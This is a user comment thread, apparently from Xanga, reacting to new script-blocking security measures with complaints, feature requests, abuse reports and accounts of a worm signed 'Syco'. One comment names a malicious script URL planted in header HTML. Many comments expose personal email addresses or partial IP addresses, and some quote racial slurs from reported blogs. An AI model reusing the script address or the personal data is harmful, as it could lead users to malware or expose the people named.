  • CAN U ADD SHUTTERFLY.COM?!!!!! as for hosted sites...its totally safe there....most of my friends use that...its a bummer now that it doesnt work anymore..=*(

  • Yay! I feel secure now..

  • my currently playing is really pissing me off.. any clue why the info of the song is centered? usually isnt the info for the song or whatever supposed to be right next to the picture? please email me at aznbaybeemunkee@hotmail..

  • You guys are being very unfair. Who the hell do you think pays for your (what you call [i] free [/i] ) site? The people who put the ads in your site, that's who. You can deal with a couple of ads for a site that's FREE for YOU, right? Come on, let's be resonable. You have to do without blinky boxes (hello, can we say seizure?!?!) and falling objects (which, last I heard, only happened when the Lakers win a game). Grow up. :)

  • props

  • Hey dork-meisters... yeah you stupid freaks... i think you should fix your comment counter... it says 2 comments when there's only one... this happened when i added a comment, deleted a comment, and added one again...

    You spazzes i still cant believe you charge ppl for this bs...

  • c0heed's at it again, why won't he disappear? Remove his xanga please???

  • you guys are the best

  • thanks

  • my friend's xanga got hacked into now she can't log into her xanga, please emial me at Tlai090789@yahoo.com can there be new security measures taken so people can't just steal other people's xanga's and take all their codes and stuff. Please emial me a.s.a.p. and tell me how i can fix this problem for my friend.

  • i love xanga .. end of story ..

    i can't get a premium because i dun have a credit card and stuff...

    wtf... wot can i do...?

    but not even picz or backgroundz?!

  • y`kno that button on the http://www.xanga.com where you can click it and it goes to ANY RANDOM page..

    i'm just wondering if you know the chances of getting onto your one and only site?

  • Is there a list somehwere of the codes or sites that we can use on Xanga? That would be really helpful! Thanks!

  • stupid question...

    Um my chatterbox is gone should I worry, complain, or shutup?

  • random props

  • Is cbox gone?

  • Im fine with the ad...and all those ppl who tried to take them off...damn u! u ruined it for the rest of us....tats the way xanga is free!! man if it aint free i dunno wat i'll do...cuz i have no money..kaka..but but......is this security measure the reason why my site doesn't work no more? i just put a few script in today..like frames..and bam...no longer fuctional...it looks nice though..dun wanna take it off..

  • Hi. I need your help. I am planning on deleting my current xanga site because my old friend is harassing me. I want to make a new one...but my problem is. I just went to premuim on my current site and we paid for 2 months i think. Is there a way i can transfer it or something so i can change my site without ending premuim too. Please email me. honey_bunz88@yahoo.com thanks.

  • YOU NEED TO MAKE ANONYMOUS COMMENTS

    at least have it a feature that you can toggle...

  • hey how do you report someone you dont like on xanga i feel very offended by the xanga user Son_of_God

  • Please allow remote image-linking from

    http://www.zippyimages.com

    Thanks.

  • c0heed is back again with a new xanga Son__of__God is there anyway possible to keep him away from xanga, ban him, or something b/c deleting his posts doesn't seem to help that much... thanks again

  • I didn't know how to do this.. but I would really like you to take a look on this site... it's called TalkShitAboutAlex... I don't appreciate it and I know that my friend Alex doesn't either.. we've been going back and forth with eachother and it's both sickening and tiring.. so if there were some way that you could possibly take it off the server or something.. It would be greatly appreciated.

  • Ok I found this bug that is really really annoying.

    If I delete a comment of my own on a post I've made the number of comments reported is -1 the actual number, even when another comment is made.

    Instead of being able to edit my responses I delete them and retype, so now I have 6 comments on my latest entry but it only says there are 2...

    Also you should have a formal way of reporting bugs, I've found others and it sucks that there's no way to report them other than by doing this, especially considering the sheer number of comments - I wonder if you will actually read this...

  • speaking of security... .and privacy in this day and age... isn't something like this post from April 18th (http://www.xanga.com/home.aspx?user=NEGATIVE_NEVER) reportable anywhere??  Even if they are kids joking it doesn't seem like a joke to most of us.

  • Dude its so wack...noone cares about the ads that much on their site...so why delete them...xanga needs to stay in business...i think the steps you are taking are rad

    Thanks for the service...im so stoked about my site these days

  • very inforative ^>^

  • well uhm i think it was wrong how ppl are doin that.. they should butt i dont think you guys should have disabled tha boxes and like yeah, when i go on pages too get layouts, i cant even copy and paste them anymore... that succs...

  • Can i interview you for a class project? Tell me your answer and e-mail me at http://www.rox677@yahoo.com

  • I can't believe you guys are actually complaining about these security updates. So you have to re-do some codes so that they adhere to the standards set here. I find that a whole lot better than having your site (and potentially everyone else's) destroyed at the hands of a javascript loophole. Stop thinking about yourselves and consider everyone else. Why the heck do you think it's a Xanga "Community"??

    "OH BOO HOO! My blinky boxes are gone. I can no longer express myself. People come to my Xanga to see my blinky boxes! How can you take away my boxes!?" Honestly...I think people visit your Xanga to see what's going on with YOU, not your blinky boxes.

    In conclusion, stop thinking about only yourself. There are many others (the monster list on the left) who appreciate this *FREE* service.

    Keep up the good work in maintaining a safe environment for our blogs! Add more security features to weed out the selfish bastards some more.

  • holy smoly that's A LOT of people u got there

  • thank you for your fine work

  • I was wondering if I could be featured on the "Featured Content"...  First of all because I am so cool, and second of all, because...  I'm cool.  =)

  • Hey, are you guy in charge of the xanga thing? Well, I'm just saying that I don't think you should have Xanga Premium to have a Xanga Skin, oh come one, people are getting desperate!! And it isn't a fair deal...(do you get what I mean??) I'm just wondering

  • THANK GOD!

    You morons who put all that blinky shit on your Xangas should die a slow death.

  • what the heck

  • hi,

    I was wondering if xanga would oneday let free xangans use and make their own skins... i know this is off topic, but i was wondering. I made this cool skin then found out I couldn't use it... WAHHHHH!!!!

    the seri

  • hey i was wondering if u can revoke this guys xanga becasue he types in soo much crap and im sick of it i block him and he makes another one just to make me mad ...here is his IP address 24.127.100. i would appreciate it alot

    thx

  • isnt there another way that u could keep xanga free???

  • Wow! You guys are not good. Theirs people from the KKK that have pictures of black people who are getting killed and little babies with their heads blown off. And your worring about falling hearts? You need to get your priorities straight!

  • Hi!  Um, when I am subscribing to new people, they do not show up on my subscriptions list, why?  Thanks in advance.

  • P.S.--I LOVE this site! :)

  • i noticed that on this page, http://help.xanga.com/about/aboutourname.htm, there is an error: We prefer use "Xangans". it doesn't really make sense. it's wrong gramatically.

  • Please consider adding Technorati to the list of allowed hosted codes. They do offer a way for bloggers to claim a site with an HTML link, but the JavaScript version is much neater (IMHO).

  • seriously whos gunna pay four dollars a month for an ONLINE journal..we should be able to do what we want...i dont use any of that crap but its still not right...no no

  • cool

  • those blinky boxes annoyed the hell out of me anyway.. thank you!!!

    question: where do we send a request to close down an account that is specifically meant to abuse another member?

  • for some reason i cannot log into my xanga page, please e-mail me back thank you, Minus315@aol.com

  • DELETE MY PAGE PLZ!! NO NEED TO COMMENT ME BACK JUST DELETE!!

  • thanks for the cute re-naming stuff

    i like it a lot

    even my bf asked me how i changed the words!

    thanks

  • Hi John,

    I was just looking at webblog rings I was curious to know if the names, and content are monitored? I mean a person has the name "niggerzsmellfunny" as a blog ring.

    Of course no one has to join, but still should racist garbage like that be permitted in the first place?

  • I think it was a weird security measure when i joined on april 30 but then why do i get to keep my chatterbox?

  • How come all my smiley faces has stopped appearing after I load my journal? =(

    Any I don't see any icon on the Xanga front page anymore - what's happening?

  • i was found a bug in my Xanga after doing psychological test in other websites

    but u won't do anything besides just tell?

    can u find some available solution ?

    like showing their IP and domain name to us to know where is the problem come from!!!!!!

    if dun cure bug, i will feel helpless

  • you should take a look at rssxpress express lite, it is a simple rss parser, and with permission you might even be able to integrate their code where the old RSS parser was.

  • mite i make a small suggestion umm since u disabled the codes  for lik da clock and all dat could u perphas make new codes for da ones dat were disabled thank would be most helpful tankies =)

  • Is there a feature that allows someone to make all of their entries private with one click? If not, can you make one? Those of us that have stalkers may need to put our diaries in lockdown on a moment's notice. >:-|

  • people who are having trouble with chatterboxes should use http://www.flooble.com the best place, because all my friends' is still there!!!!!

    ps: are you ever gonna let us link to online images for our profile pics??? uploading is annoying!

  • for the blog writings and stuff...why is it so small..its like tiny like size 6...but it is actually 8..and if u try 10 or which ever it is, it looks big like your size font. so yeah can u fix it?..because its buggin...im using a skin so it dont like super small. so try to fix it

  • I am trying to report a avery offensive xanga site but can not find the link to do so.

  • somebody has put a pain in the neck worm into some of the site links, it prevents me from visiting my site and on top of that, it is spreading quickly to everyone who looks at person's site that has been infected. As i am not a computer programer, i cant really say what the worm is in specific, but the bastard cracker with nothing better to do with his time left this hex "h4x0r3d" as a calling card. I dont exactly know what to do about it and i am sure there are lots of people out there who dont know what to do either. Basically i just wont be able to use the site until it is fixed. Obviously if it gets out of hand and lots of people end up in the same boat as me, they will stop using the site as well... which would be really unfortunate because I was really enjoying myself too. Oh well, I trust you can do something about it.

  • i have something to say! someone f***ing gave me a virus so i cant go to my site... help me please before i get really frustraed and freak out... i need to getting the virus off this computer or something...please help!

  • yes thats what im talking about ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^6

  • Hey guys. Watch out there's a virus going around that causes your Xanga site to go away for a while.. Don't worry just do the following

    1. Go to the Xanga home page and click on Contact Us at the bottom

    2. go to Help and click on the second link under Emergency.

    3. they will have a link that will help your site run in safe mode so that you can see every one of the hmtl codes put on your site

    4. go to your Look and feel section and delete everything under that.

    5. Then go back to your site.. You won't have a tag line and all your links will be pure white .. but don't worry they are still there. Just feel your way around till you clicked on the Look and Feel section and enter your info again. It won't be exactly the same but at least you'll have it back.

  • hello, im an xanga member (SarahTheGreat). i can't access my site anymore, a virus or something got into it just now! here's what happened (i think its happened to a lot of people, its spreading). I went to my site to read comments on my last entry. there was one from an xanga friend that had gotten it (major_thom), and he commented "DONT GO TO MY SITE.". stupid me, thinking he was kidding or there was something interesting there, I went *hits head*. so i clicked on his link and this 'cant access page' thing came up, only it looked different. its obviously been made by some jerk, because this is what it says from top to bottom: The Page Got Fd in the A by Syco
    This page youve been looking for has been "h4x0r3d". please try the following: -bang your head against the wall
    -If you see this page, contact the web site administrator to alert them there is a site that got "h4x0r3d"
    -Click the back button and go to hell
    at the very bottom the fine print says: HTTP error, H4X- file directory not found. Internet information services (IIS) Agent XGA worm.
     
     
     
    This isnt about the banner issue. some virus has goten into xanga i believe! i want to be able to access my website again, and i dont want it to be deleted if possible. please reply and tell me what it is and what it means, thank you. all i did was click on the link and now i cant make my page show up, just the 'cant access this page' thing^'

  • Hi, my xanga just got this virus http://hybrid.darkwarrior3k.com/script.php

    which erased all my HTML codes and changed my entire layout.  It was planted in my header HTML, and my friend had the same problem.

  • yay, problem solved. thanks mish_alumni!

  • please open up the comment functions to non-xanga registrants. i understand that db's are a source of revenue but the unavailability of this proposed feature does nothing for your company's reputation.

  • What is this hacking xanga thing? It ruined one of my sites and won't let me on so i had to get a new one. It says something about a worm made by Syco, idk, but it killed my xanga.

    -Jill

  • why arn't my CLAF working on any of my websites? is this my computer or xanga. everytime i try to click on it it tries to make my sign in again..and again..and again..and it never works! HELP PLEASE!

  • dude, get over it people.  Yeah, you lost some of ur neato stuff, but maybe its worth giving up something for the protection.

  • i need help with my page because when i try to go to it a page comes up that says syco has planted a worm safely in my page or something like that.. i was just wondering if there was any possible way that i would be able to get my site back?

  • Ok folks, I am here to tell you how to get rid of that stupid, not to mention extrordinarily basic, line of malicious code thats been preventing us Xangans from entering our sites. This is the worm that tells you that your site has been "F in the A" or something to that effect authored by the internet's subhuman malicious code pansy, Syco. I have narrowed it down to the HTML header. It can be eliminated by going onto your site in safe mode and looking at the different lines of HTML. All the other Xangans I have helped out say that it was in the "HTML Header" section of code. You will be able to tell that it is the malicious code because our chromosomally challenged hacker friend Syco put his name in it. Once you delete it, you should be able to visit your site again. Although in some cases, my own case included, all the "look and feel" setup options were screwed up. In my case it was that the backround and the text were the same color. Easy enough to remedy, you can click and drag your cursor over text to highlight it. Then its smooth sailing for resetting your Xanga and getting on with life. TTYL

  • I"m really upset about this worm/script thing that happened... Do you know how long until it will be fixed?  Can this person change things on my xanga site???? Please let us know.  Thank you!

  • Ive seen a couple of porno sites on xanga and i think you guyz need to do a better job of getting rid of them because my mom does not like that stuf and neither do i one of those sites is called http://www.xanga.com/taiwanbaybeeboo i think thats wat it was called please respond to me in my xanga..

  • Everytime i want to change my xanga it keeps having me sign in over and over then it takes me to the same page. plz email me lexiechickedee@sbcglobal.net

     

  • How come when I try to change my page setting on look and feel and click 'save settings' it always makes me sign in again and start over?

  • HOW COME AFTER YOU CLICK LOOK AND FEEL AND THEN CLICK SAVE IT GOES BACK THE THE SIGN IN THING??? I CAN'T SAVE ANYTHING I DO IN LOOK AND FEEL ANYMORE!!!!

  • Hey guys. Watch out there's a virus going around that causes your Xanga site to go away for a while.. Don't worry just do the following

  • I need a bit of assistance... I was trying to update my look and feel, but it won't let me save it.  I looked on your help page and it told me to revert to default and reenter everything.. but it wont even let me do that... HELP PLEASE!!

  • Wtf? my site has these unathorized links (that's my saying, not the comp's) and they look for a matching word (like single) and the link sends you to a site like that!  (like Site for Singles)  Seriously, now this little disclaimer at the bottem of all the posts with links have this (hmmm.... maybe i should put it at the top...) I even went 2 1 of my friends site's and she had it too!  Another friend has it 2!  WTY?  what the yo

  • All right, its not soo bad but it takes up space!

  • damn xanga...you need to get to updating!

  • Can I PLEASE get some help!?!?!? My personal url isn't working. Why & how do I fix it???

  • Nice dude

  • what the hell did you do to my site ?! you completely destroyed it. i wouldn't have minded if you had just told me to take out the add remover code, but you had to completely take oout all my codes ! this is going to take me forever to fix !!!!

  • my xanga jusst won`t showup anymore. i can only see the backround.. PLEASE EMAIL ME! animals4eva15@hotmail.com PLEASEPLEASEPLEASEPLEASE help me!

  • jeebus...this place is free, and you people are whining because they want to keep it that way?  because *you* were the ones who signed up here in the first place, and now you're all whining because they're trying to make it better on the whole.

    besides, the reason *WHY* it came to this is because of the people who abused xanga's good faith and took off the banners.  besides, for the most part, i don't even pay attention to them...it's not like they pop up in your face or anything like that at all.

    as for the people who want to be more creative...well here's your chance now.  think outside the box.  those blinky things and whatnot are *incredibly* annoying...even moreso than the banners because they're so frickin' flashy.  flashy and gaudy.  and honestly worse than pop ups because you can't get rid of them.  personally, whenever a xanga site is like that, i tend to just skip over them because i don't want to take my time having to DECIPHER their words from their lack of artistic sense.

    and as for the people who are whining about this change...either grow up or leave.  i personally like what they did because if that means getting rid of some of you people who are spoiled little brats crying over their chatterboxes and whatnot as their only source of making themselves look popular...by all means, go ahead.  i think xanga would have a much better community if you guys leave.

  • hey,

    yea, i was wondering if there was anyway that you can delete a xanga. because i have three xangas. one is really really old. i made it like, two years ago. and i don't ever use it anymore. and then another one i just recently stopped using. and i was just wondering if there was anyway to get rid of those two. if you could drop a line back at my xanga that would be awesome.

    thanks,
    Chris

  • Dear gods, stop whining people. a) Blinking things are ugly and b) this is a free service. Write your own blogging code and host it on your own servers if you really want the silly stuff that badly.

    And to John-Good Job, and keep it up~ Mmmm, although I think one could probably still get around the comfirmation step, it would take two requests and a bit of string parsing. Although I personally don't know the limits to JavaScript and there's a good chance the code that I'm thinking of won't work. Still, I think this ought to be good enough as it is right now, and not too complex so I can still work around it using perl. (_Strictly_ double-layed opt-in only. http://darwin.servehttp.com/xangaToLiveJournal/). I don't want to have to figure out how to decode capthcas [ ref | http://en.wikipedia.org/wiki/Captcha ].

    Hm, when I finish with the other half of my current project (bridging xanga and livejournal - right now, livejournal to xanga. Why is it so difficult to post...? So much JavaScript I need to wade through... Couldn't you guys have used a simple form/input? -.- Or maybe if I can find that plaintext posting page, or use a connection logger to examine the posting http request...), maybe I'll try and see if I can write a bit of JavaScript to auto-sub/auto-join-ring and get in contact with you if I can get through.

    Either way, massive eProps to ya, and keep it up. I'll continue to publicly insist that livejournal is better in so many more ways, but honestly [whisper]Xanga's got its own little benefits that LiveJournal lacks. Just don't tell anyone I said that =^.-= [/whisper]

  • -.- Xanga need's comment editing capabilities.

    [edits]
    . . . . . And to John: Good Job, and keep it up~ Mmmm, although I think one could probably still get around the comfirmation step... it would take two requests and a bit of string parsing. Granted, I personally don't know the limits to JavaScript and there's a good chance the code that I'm thinking of won't work, so this ought keep stupid scripts away while still being simple enough that I can work around it using perl. (_Strictly_ double-layed opt-in only. http://darwin.servehttp.com/xangaToLiveJournal/. Although it's actually an automated script to subscribe to the user, not the reverse.) Just don't add capthcas... I don't want to try and figure out how I would decode them. [ ref | http://en.wikipedia.org/wiki/Captcha ]. . . . . .

    There we go, much better. [/end minor obsessive-compulsiveness]

  • it seems like a lot of ppls xangas are getting hacked into.  isnt there something to bring up security measures to prevent some, if not all, future hacking?

  • I hope you can do something abou the issue at hand my dear John.There is somebody(Male)who has a site called Adolf Hitler 666 and he has been leaving VERY degrading comments on people's xanga.These people are of course african-american but who cares it doen't matter what color it is the fact that he is doing it.I wish you to put a stop to it.You are the xanga security and I expect you to act accordingly.

                                             Thank You,

                                                           Cory

  • you're just trying to do what's best for xanga and all the xangans by keeping us safe. some sites may not work now, but it's the right thing to do some everyone else...just give 'em a break.

  • by the way, my email address is jennia777@aol.com, thanks

  • Dear John,

    I am reporting that the xanga blog "antiazn jewpride" exists solely to put down asians.

    Please delete this abberation of a Weblog. It is a shame to us all.

  • This is one way to get people of of Xanga. Boooo

  • check out http://www.reinvigorate.net

    It's an externally hosted counter service. It's pretty useful and has decent features. (e.g. real time referral monitoring and etc)

  • it'll be great if you can add that to your allowed hosted sites.

  • Hello sir The harasser is back.His new site is adolf_hitler666_reborn.He spelled it just like that with the underscores and all.He is yet again harrasing people again.Is there any way you can place bots on this site?Please solve this problem as soon as posible I know you reacted quickly before and you have my everlasting gratitude for this........

                                                  -Cory-

  • why doesn't XANGAZON work on my page?????????????

  • thanks for the new security info...as for my part, i've included a news script that i think is innocuous, but it was stripped when i logged in recently, as well...i've included the script, perhaps someone will email me (jlburke@attglobal.net) with the reason mine can't be included--i see nothing wrong, but i'm not a java expert...

    thanks in advance...

    joe (djdarkstar)

  • what about angelfire javascripts are they blocked with the security?

    If so- how can we put pictures into our blogs?

  • when are you going to put the option of making the header interior transparent?

  • i need a new password.my friend knows it.so yhea

  • hey my name is dara

  • some1 hacked my xanga twice already... wat kind of security measures u have here?

  • yepp u are so right...

  • brilliant people, just brilliant.  a rottweiler could have found a better way to stop those codes.  but have a nice day anyways!!! 

  • You have my thanks and gratitude for shutting down the harasser known as Adolf Hitler 666.You have acted apropriatly and exceedingly fast and I'm sure those who were being harassed feel the same way.

                                                  Thank You,

                                                                 Cory

  • i want to cancel my xanga site. how do i DO IT?!!!!

  • there should be a feature where you can disable eprops but enable comments

  • I dont know where else to go and i doubt your going to get this but im having a problem with my subcribe link. everytime someone clicks on it it goes to Xanga.com instead.

  • i have been get the you have found a bug a lot to day just to let you know

  • HEY! I love the new profile pics on the blogrings, BUT you need to have the page default on "RECENTLY UPDATED" not "JOIN DATE." Being first on the blogring list is an incentive for people update their blogs. Please change it, Thanks!

    Another thing, it'd be really cool if you could make those profile pics show up on the comments pages, us xangans would like that visual recogition! (ya know... sorta like that other no-name blog server)

  • Look, all you whinin bitches about your free expression an free creativity, the site's free as it is. this website isn't america so your free expression bullshit wont work here. get over it if you dont have falling stars an ads on your site. boo fuckin hoo there's an ad, why not pay instead? an those falling stars an hearts an crap are just annoying anyway, are you really missin out on much? why not take whatever "creativity" you lost an put it into some actual content, like what you write, maybe a better layout, deal with it people, the xanga team is lookin out for everyone's interests, including their own. they pay for this webspace, not you. therefore it's up to them to regulate what goes on, not you. and far as ads on the bottom goes, how fuckin dense are you people? ads are for ADVERTISING, do you put a billboard in the middle of a desert where there's no highway? do you post up party flyers under your bed? so wh put a banner on the bottom your page? think before you people talk, you know what's up so stop whining.

  • Oh no, some annoying features got removed. Let's all cry and run to LJ, where the interface is years behind, and the community more closed and elitist.

  • umm can u please take this name off the xanga site

  • that just sukz i mean the clock is realy cool!!!!!!!!!!!!!!!!!!!!!!!! n u take it away from me!

  • If this is such a secure website, how was it that my daughter who is really 12 was able to log on?  How was that you posted all of her personal information so that harm could come to her especially since you claim to not be a secure site?  You can respond to roed65@msn.com mother of a 12 year old whose site I just deleted.

  • y cant i write my entry in my xanga if it dont let me when i get back im gunna be mad...

  • can u allow google adsense? I want to add google ads on my xanga, but it is not allowed due to the new security measures

  • wow ur popular

  • um... just to let you know a sicko: LASTMEASURE has sent me a pornographic picture and i don't appreciate it. Can Xanga do anything about that?

  • blinky boxes are stupid anyway. i hate all the excess codes people put on their sites. half the time all it does is crash explorer.

  • I got a message on my site from a user today. If you go to their page and click on the link saying to go to their livejournal, then all these gay porn pop-ups show. The user is http://www.xanga.com/lastmeasure. I've blocked them from my site, but they can still bother other people. I didn't know where else to send out a warning so I wanted to leave the comment here. Thank you.

  • Xanga Rulerz, it's a shame if people cannot remember who's house their in (or website). But this is an honorable house of Xanga, and you've done and allowed some amazing things for people to do. Do not let the ungrateful get you down! You're great for even putting up with the freebie fleaz. <grins>

    Oh yeah, can we alphabetize our subscription list?

    ~ Thanks!!!

  • I love reading your blog! Please come and check out mine.

  • John, I am looking for a way to change my password...  I am scared someone figured it out and is logging into my Xanga.  There are comments on people's sites that I know I didn't leave and that bother's me.  Can you help?

  • I'd say just nad the ones who are doing it...It would be alot smarter or just band their Ip Number...Might take a while but it could work

  • how can i change my password? ppl r gettin on mine and sayin un true stuff and i don't want anything to happen!

  • umm i was wondering if you have sumthing that you can block someone from even looking at your site... me and alot of other people want to know if that exists ..and if you can block people that arent signed in from seeing your site...if there isnt...can you please consider making something that would block people from seeing your site because some unwanted viewers come onto my site and my friends site/.thank you

  • I have a question...I created a blog ring, but I accidently left it, becuz back then Xanga only allowed me have 4 blogrings. Now I'm hoping to join back into it so I could be a ring leader....how am I able to get back this rank? Please?
    Thanx a lot for readin it!
    -Annie [thanx for changin up to 7 blog rings at a time!]

  • Someone has been hacking into a few of my friends xangas and making rude posts with their names.  I'm afraid my xanga may also be a target.  Is there anything you can do?  Please contact me via the email link on my xanga please.  Thank you.

  • best thing to do- go Premium.

    can you say duh? damn, and it`s only a couple bucks if ya`ll are so worried about scripts and the banner. if you don`t like it, than go to another blog site.

    example: Blogger.com is TOTALLY customizeable- so for you layout whores that are irked by Xanga's html restrictions, that`s your answer.

  • hey, my xanga doesnt even come up anymore.. im so mad! please email me at bebe10301@aol.com to tell me if theres a way to possibly get it back up... thanx soo much.. i realy appreciate it.. i neeed my xanga back! im going insane!

  • I agree, if you dont want the ad, pay for it....... if you dont wanta pay for it, good luck finding a site that doesnt have a banner or a pop up...... good god.. as far as blinking boxes and all that other crap goes, all it does is annoy most people...... your creativity is about as artfull as a pink flamingo..... get over it....

  • Hey thanks for keeping things safe.

  • Oh, real great, John!!! What happens if you gave someone your password, because you foolishly trusted them, and now they are putting stuff on your site that you didn't write?Here's the person that is doing this:
    Joey Conroy
    Here is his site:
    http://www.xanga.com/waffledog194
    Here is my site:
    http://www.xanga.com/tryglycerideman
    wanna know what he put on there?
    see all that SEXSEXSEXSEX stuff? I hope you will return this in a comment on my Xanga!

  • y r yall taking so loooooooooooong??!! jk its ok! lol

  • I'm willing to bet that just as many people abuse blinkies as ad-squashing codes. I can't honestly say I'm sorry to hear that a few less annoying ad-ons will be seen around here.

  • lol no more chatterbox.... that sucks

  • Keeping xangas free? How come hackers are still here? My friend's xanga has been hacked into many times and "oOoOoh wow. Xanga is COMPETELY SAFE"! Yeah right. People might say you're doing an awesome job, but I think you people suck. You people suck out all the fun of xangas. It's starting STARTING to be boring. It's like there's no use in updating anymore. And if you're going to make it fun and interesting, why don't you try changing the colors of xanga or something instead of the plain old blueness and the whiteness? *shrugs* Whatever.

    Recently, I've heard from a friend that you're banning banners from users who don't have premium? What's up with that? Are premium users mad because they can't make banners like the regular? I'm sorry. It's not that I'm cheap or anything, but I wouldn't want to pay for an ONLINE JOURNAL. However, some of you people may not feel this way, but this is my opinion. But why ban banners?

    One day chatterboxes are gone. Clock cursors are gone. Falling images are gone. Blinkies are gone. Banners are gone. Practically, everything is gone now. "Oooh so fun and exciting. NOT!!!!!" What's so fun about xanga now? Thanks alot you stupid "TheXangaTeam". You don't even provide an email that allows us to contact you, but instead we're on a late entry posting our comments.

    I think I'm going to go back to LJ. Some xanga this is.

  • Hello john, is there anyway you could shut down a xanga?  I had lost my password and someone had changed the email and I was wondering if you could shut it down?

  • I'm a non-premium user. but I noticed today that without my knowledge or consent I am being forced to display a premium site for 21 days. Quite frankly I prefer the old classic display, and unless I'm greatly mistake the terms of agreement state that I have full control over what publically displays on my site!!! TAKE OFF THAT STUPID FREE PREMIUM TRIAL PLEASE!

  • Please consider adding StatCounter to your list of accepted external hosts for JavaScript... It's a very nice, free, invisible counter.

  • hey john i need to take down my site please email me and help me take it down my email address~blondiespikehead@yahoo.com thanks and the xanga site is ConcreteAngel_14 thanks

  • i cant get music on my Xanga page idk what to do..so can u email me @ crowgirl316@hotmail.com and since hotmails has a strong spam filter make the sub: Xanga music

  • thx

  • Geez, what a bunch of crybabies.  People, it's FREE.  That means you don't have to pay for the service.  If you're so bummed out about the banner, go premium.  If you can't afford it, or don't like it.  Don't use it.  F-R-E-E

  • Hi, yes someone has broke into my xanga journal and i would like to say u wont be seeing me again for a long time nor will i recomend you to friends.

  • well im a newb so i dunno how to do that crap anywho so i dont care so screw all those damn hippies who cause misfortune for others

  • so yeah good luck all u panzis who did this crap

  • you suck

  • id like to report an inappropriate xanga site that lists peoples names on a demeaning list. the site is hatters_are_trash .i am reporting this because i think the site is inappropriate.if you could please fix this it would be appreciated.i would also appreciate if you could/would do it anonymously. thank you.

  • if u read these comments...they are funny. =) I don't think they know they most of them aren't paying for xanga. lol.

  • This is fine by me, but lately I've been trying to post some pictures onto my site...first I uploaded the pics onto Idolforums.com to put on my Xanga, but they wouldn't show up. I just uploaded the pics to powow.com, and they still won't show up. Please add these external sites...or maybe the reason the pictures won't show up is because of some other problem, I'm not sure...hmm...

  • my site doesn't work..It keeps on saying cannot open blah blah blah...operation aborted or something like that...can you please email me?  Oohelendamelonoo@aol.com

  • Guys, loosen up. They aren't getting rid of much and none of it is crucial. And he didn't say anything about the chatterbox being gone. Anyway, thanks for keeping this site free and sorry you have to take disable some codes

  • Thank GOD. Just another step in destroying the JavaScript menace. Sometimes I find myself having to disable JS from firefox to browse this place x_x

    And in case you guys didn't notice, free members can change the way their site looks entirely with some CSS. And by golly, sometime soon I'll figure out how to use PHP on your asp pages...

    Someday.

  • Hello!

    It's excellent that you're taking measures to ensure that Xanga remains profitable. I wonder...how much do you guys make off of Xanga? Perhaps...if you do make some...you should realize that you aren't ensuring that Xanga remains free but just that you have income...which is a perfectly good cause. Anyway...it's obvious you wouldn't make Xanga pay - only either because your banner ads are essential for income. There are some analytical minds here. Keep up the good work!

    - aShaq

  • Well I can't give a sh** really cuz I'm still a bit new to the site anyway.

  • man that sux

  • WHyh does it matter when you can still write? Isn't that the whole point of this site? Sure you want to be creative, but no one really pays attention, they read comment and their off to read the next blog, i can see wht people are mad, but come on........

  • Don't mess up anything that works. Things are already good. No need to change them. That makes you look like jerks out to make money off people's needs for journals.

  • how do you get rid of the xanga banner that says like, "what is an eprop" or like, "how do you pronounce xanga?" its really a pain and its really messing up my layout for xanga...and its very out of place. i hope i can be able to somehow either get rid of it, hide it, or just put the banner at the bottom of my xanga. if you know how to do this, please send me the html or whatever you need to use to do so. thank you very much.

  • the blinky boxes were cool... *in tended for the losers who were messin with the ads* now look what you did to everyone!

  • my friend page got hack, and she is really upset, that dues ip  is 67.181.52.* can u do something about it, to see what he has done go to http://www.xanga.com/swtchinezgrl , plz check it out, and if u may, punish this person that is doing it, thnx

  • Hi...I have no idea...What that means..:D

  • im only leaving 1 eprop cause i lyk my blinkiessss,,,but  dat rest is okay i guess

  • I have a problem. I know Xanga is where people express their feelings and things like that but I was wandering around Xanga the other day, and found many blogrings of many girls who are anorexic, cut themselves, and are in deep depression. Is there anything Xanga can do to stop these blogrings that promote such things because it's really disturbing, esp. when I see girls are encouraging others to be that way. WHat really sickened me was that these girls give each other purging tips, and all that. I hope if anything gets done, I will remain anonymous. Thank you.

  • UNRELATED PROBLEM WITH XANGA.

    I added an EVENT to my site, but the date and time I place on the event are not what's showing up when it publically posts. I.E>..the event is 12:00am July 2nd, but my site is saying July 1st at 11:00pm. Please help!

  • I feel that Xanga, not other services are disabling hotlinking to outside sources, then offer image hosting as a premium feature in order to force ppl to upgrade. This is not fair to Classic users.

  • hey thanks for the update, i was wondering what happened...

    ~*Greta*~

  • .....maybe there is another helper here to help you john?...lol

  • everyone stop complaining. we already use this site for free. if you want to show your creativity, or take away the banner, then you have to pay. everyone takes all this for granted. stop being babies about everything

  • john,

    i know that xanga is not liable for people who are leaving nasty comments in chatterbox but since it does support and a lot xangans do use chatterboxes, is there anyway we can block or track down those peeps who leave nasty comments?  i constantly have to delete them and it seems like one person is doing it.  i checked out fooble.com (?) FAQ section but it doesn't say anywhere on their site how to report them.  help me!

  • hi my name is grace sherley and i have 2 sites with xanga.com.the first one being http://www.xanga.com/R_K_O and http://www.xanga.com/KURT_COBAIN_1967_1994 and I'm being harrassed daily by two users with the names http://www.xanga.com/envies_none and http://www.xanga.com/i_am_da_skariman and is there any way you can have them stop harrassing me everyday on my sites for nothing I've done or said wrong. This goes on everyday that I check my sites.I'm on the verge of calling the cops and having them arrested for harrassment or even having a restaining order put against them. Is there anything that can be done about this situation? Can you help me stop them somehow before this blows out of porportion? PLEASE get back to me as soon as possible before i have to notify the authorities about this situation. thank you.

  • You guys need to take off that annoying ass ad banner on the top. Oh god please! it's soooooo annoying and ugly.

  • hmmm at least you didn't take out all the HTML we put in, such as marquees ;)

  • sheesh. if you guys can't afford the little bit of money it takes to actually go premium, at least show your support for the site by abiding by their rules.

  • goo goo.

  • i honestly don't see a problem with ads if they don't cause popups and annoying downloads, etc.  xanga is pretty cool, and if advertisements help keep it accessible than i don't see what the big problem is

  • umm hi john well i need some help you see my friend made me a skin and on the bloggering code it doesnt work she said that the html code works fine, but its xangas fault.

  • You should all be thankfull that we get to use xanga free instead of whining and pissing and moaning about how the banner shouldnt be there... and live journal sucks ass anyway. I found this site during my boycott lj hour. And I would rather go without blinky crap and mouse followers anyway

